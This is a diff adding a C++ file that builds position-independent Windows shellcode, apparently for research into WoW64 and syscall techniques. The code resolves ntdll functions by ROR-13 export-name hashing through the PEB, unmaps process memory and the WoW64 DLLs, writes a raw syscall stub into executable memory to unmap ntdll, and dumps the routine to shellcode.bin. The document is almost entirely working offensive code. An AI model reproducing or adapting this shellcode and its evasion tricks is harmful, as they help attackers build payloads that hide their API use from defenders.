1
+ #include " ScStdio.h"
2
+
3
+ #include < intrin.h>
4
+
5
+ #define ROR_SHIFT 13
6
+
7
+ namespace ScStdio {
8
+
9
+ /*
10
+ VS Compilation Switches:
11
+ C/C++ -> Optimization -> /O1, /Ob2, /Oi, /Os, /Oy-, /GL
12
+ C/C++ -> Code Generation -> /MT, /GS-, /Gy
13
+ Linker -> General -> /INCREMENTAL:NO
14
+ */
15
+
16
+ NTSYSAPI NTSTATUS NtUnmapViewOfSection (
17
+ DWORD64 ProcessHandle,
18
+ DWORD64 BaseAddress
19
+ );
20
+
21
+ NTSYSAPI NTSTATUS NtProtectVirtualMemory (
22
+ HANDLE ProcessHandle,
23
+ PVOID* BaseAddress,
24
+ PULONG NumberOfBytesToProtect,
25
+ ULONG NewAccessProtection,
26
+ PULONG OldAccessProtection
27
+ );
28
+
29
+ NTSYSAPI NTSTATUS NtAllocateVirtualMemory (
30
+ DWORD64 ProcessHandle,
31
+ DWORD64 BaseAddress,
32
+ DWORD64 ZeroBits,
33
+ DWORD64 RegionSize,
34
+ DWORD64 AllocationType,
35
+ DWORD64 Protect
36
+ );
37
+
38
+ typedef NTSTATUS (NTAPI* p_SysUnmapViewOfSection) (
39
+ DWORD64 ProcessHandle,
40
+ DWORD64 BaseAddress
41
+ );
42
+
43
+ #ifndef _WIN64
44
+ __declspec (naked) void MalCodeBegin() { __asm { jmp MalCode } };
45
+ #else
46
+ void MalCodeBegin () { MalCode (); }
47
+ #endif
48
+
49
+ PPEB getPEB () {
50
+ PPEB p;
51
+ #ifndef _WIN64
52
+ p = (PPEB)__readfsdword (0x30 );
53
+ #else
54
+ p = (PPEB)__readgsqword (0x60 );
55
+ #endif
56
+ return p;
57
+ }
58
+
59
+ constexpr DWORD ct_ror (DWORD n) {
60
+ return (n >> ROR_SHIFT) | (n << (sizeof (DWORD) * CHAR_BIT - ROR_SHIFT));
61
+ }
62
+
63
+ constexpr char ct_upper (const char c) {
64
+ return (c >= ' a' ) ? (c - (' a' - ' A' )) : c;
65
+ }
66
+
67
+ constexpr DWORD ct_hash (const char * str, DWORD sum = 0 ) {
68
+ return *str ? ct_hash (str + 1 , ct_ror (sum) + ct_upper (*str)) : sum;
69
+ }
70
+
71
+ DWORD rt_hash (const char * str) {
72
+ DWORD h = 0 ;
73
+ while (*str) {
74
+ h = (h >> ROR_SHIFT) | (h << (sizeof (DWORD) * CHAR_BIT - ROR_SHIFT));
75
+ h += *str >= ' a' ? *str - (' a' - ' A' ) : *str;
76
+ str++;
77
+ }
78
+ return h;
79
+ }
80
+
81
+ LDR_DATA_TABLE_ENTRY* getDataTableEntry (const LIST_ENTRY* ptr) {
82
+ int list_entry_offset = offsetof (LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
83
+ return (LDR_DATA_TABLE_ENTRY*)((BYTE*)ptr - list_entry_offset);
84
+ }
85
+
86
+ PVOID getProcAddrByHash (DWORD hash) {
87
+ PEB* peb = getPEB ();
88
+ LIST_ENTRY* first = peb->Ldr ->InMemoryOrderModuleList .Flink ;
89
+ LIST_ENTRY* ptr = first;
90
+ do {
91
+ LDR_DATA_TABLE_ENTRY* dte = getDataTableEntry (ptr);
92
+ ptr = ptr->Flink ;
93
+
94
+ BYTE* baseAddress = (BYTE*)dte->DllBase ;
95
+ if (!baseAddress)
96
+ continue ;
97
+ IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)baseAddress;
98
+ IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)(baseAddress + dosHeader->e_lfanew );
99
+ DWORD iedRVA = ntHeaders->OptionalHeader .DataDirectory [IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress ;
100
+ if (!iedRVA)
101
+ continue ;
102
+ IMAGE_EXPORT_DIRECTORY* ied = (IMAGE_EXPORT_DIRECTORY*)(baseAddress + iedRVA);
103
+ char * moduleName = (char *)(baseAddress + ied->Name );
104
+ DWORD moduleHash = rt_hash (moduleName);
105
+ DWORD* nameRVAs = (DWORD*)(baseAddress + ied->AddressOfNames );
106
+ for (DWORD i = 0 ; i < ied->NumberOfNames ; ++i) {
107
+ char * functionName = (char *)(baseAddress + nameRVAs[i]);
108
+ if (hash == moduleHash + rt_hash (functionName)) {
109
+ WORD ordinal = ((WORD*)(baseAddress + ied->AddressOfNameOrdinals ))[i];
110
+ DWORD functionRVA = ((DWORD*)(baseAddress + ied->AddressOfFunctions ))[ordinal];
111
+ return baseAddress + functionRVA;
112
+ }
113
+ }
114
+ } while (ptr != first);
115
+
116
+ return NULL ;
117
+ }
118
+
119
+ #define DEFINE_FUNC_PTR (module, function ) \
120
+ constexpr DWORD hash_##function = ct_hash(module ) + ct_hash(#function); \
121
+ typedef decltype (function) type_##function; \
122
+ type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function)
123
+
124
+ #define DEFINE_FWD_FUNC_PTR (module, real_func, function ) \
125
+ constexpr DWORD hash_##function = ct_hash(module ) + ct_hash(real_func); \
126
+ typedef decltype (function) type_##function; \
127
+ type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function)
128
+
129
+ VOID __stdcall MalCode () {
130
+
131
+ // We could use only syscalls, but for clarity let's not
132
+ DEFINE_FUNC_PTR (" ntdll.dll" , NtAllocateVirtualMemory);
133
+ DEFINE_FUNC_PTR (" ntdll.dll" , NtUnmapViewOfSection);
134
+ DEFINE_FUNC_PTR (" ntdll.dll" , NtProtectVirtualMemory);
135
+
136
+ // First obtain WoW64 addresses, needed for unmapping later
137
+ DWORD64 addrWoW64 = 0 ;
138
+ DWORD64 addrWoW64Win = 0 ;
139
+ DWORD64 addrNtdll = 0 ;
140
+
141
+ PPEB peb64 = getPEB ();
142
+ LIST_ENTRY* first = peb64->Ldr ->InMemoryOrderModuleList .Flink ;
143
+ LIST_ENTRY* ptr = first;
144
+ int cntr = 0 ;
145
+
146
+ do {
147
+
148
+ LDR_DATA_TABLE_ENTRY* dte = getDataTableEntry (ptr);
149
+ ptr = ptr->Flink ;
150
+
151
+ if (cntr == 1 ) {
152
+ addrNtdll = (DWORD64)dte->DllBase ;
153
+ }
154
+ else if (cntr == 2 ) {
155
+ addrWoW64 = (DWORD64)dte->DllBase ;
156
+ }
157
+ else if (cntr == 3 ) {
158
+ addrWoW64Win = (DWORD64)dte->DllBase ;
159
+ }
160
+
161
+ cntr++;
162
+ } while (ptr != first);
163
+
164
+ // Unmap everything below 4GB boundary
165
+ for (DWORD m = 0 ; m < 0x80000000 ; m += 0x1000 )
166
+ {
167
+ PVOID ptrToProtect = (PVOID)m;
168
+ ULONG dwBytesToProtect = 1 ;
169
+ ULONG dwOldProt = 0 ;
170
+
171
+ NtProtectVirtualMemory ((HANDLE)-1 , &ptrToProtect, &dwBytesToProtect, PAGE_READWRITE, &dwOldProt);
172
+ NtUnmapViewOfSection ((DWORD64)-1 , (DWORD64)m);
173
+ }
174
+
175
+ // Unmap WoW64 Dlls
176
+ NtUnmapViewOfSection (-1 , addrWoW64);
177
+ NtUnmapViewOfSection (-1 , addrWoW64Win);
178
+
179
+ // Allocate and write syscall stub
180
+ DWORD64 syscallbase = 0x20000000000 ;
181
+ SIZE_T size = 0x1000 ;
182
+ DWORD64 ntstatus = NtAllocateVirtualMemory ((DWORD64)-1 , (DWORD64)&syscallbase, 0 , (DWORD64)&size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
183
+
184
+ DWORD dwCode1 = 0xb8d18b4c ;
185
+ DWORD dwCode2 = 0x0000002a ; // NtUnmapViewOfSection
186
+ DWORD dwCode3 = 0x90c3050f ;
187
+
188
+ *(DWORD*)syscallbase = dwCode1;
189
+ *((DWORD*)syscallbase + 1 ) = dwCode2;
190
+ *((DWORD*)syscallbase + 2 ) = dwCode3;
191
+
192
+ // Unmap Ntdll
193
+ p_SysUnmapViewOfSection sysUnmap = (p_SysUnmapViewOfSection)syscallbase;
194
+ sysUnmap ((DWORD64)-1 , addrNtdll);
195
+
196
+ __debugbreak ();
197
+ }
198
+
199
+ #ifndef _WIN64
200
+ __declspec (naked) void MalCodeEnd() { };
201
+ #else
202
+ void MalCodeEnd () {};
203
+ #endif
204
+
205
+ BOOL WriteShellcodeToDisk ()
206
+ {
207
+ DWORD dwWritten;
208
+ HANDLE FileHandle = CreateFileW (L" shellcode.bin" , GENERIC_ALL, NULL , NULL , CREATE_ALWAYS, NULL , NULL );
209
+
210
+ if (!FileHandle)
211
+ return false ;
212
+
213
+ if (WriteFile (FileHandle, &MalCodeBegin, ((DWORD)&MalCodeEnd - (DWORD)&MalCodeBegin), &dwWritten, NULL ))
214
+ {
215
+ CloseHandle (FileHandle);
216
+ return true ;
217
+ }
218
+
219
+ CloseHandle (FileHandle);
220
+ return false ;
221
+ }
222
+ }
0 commit comments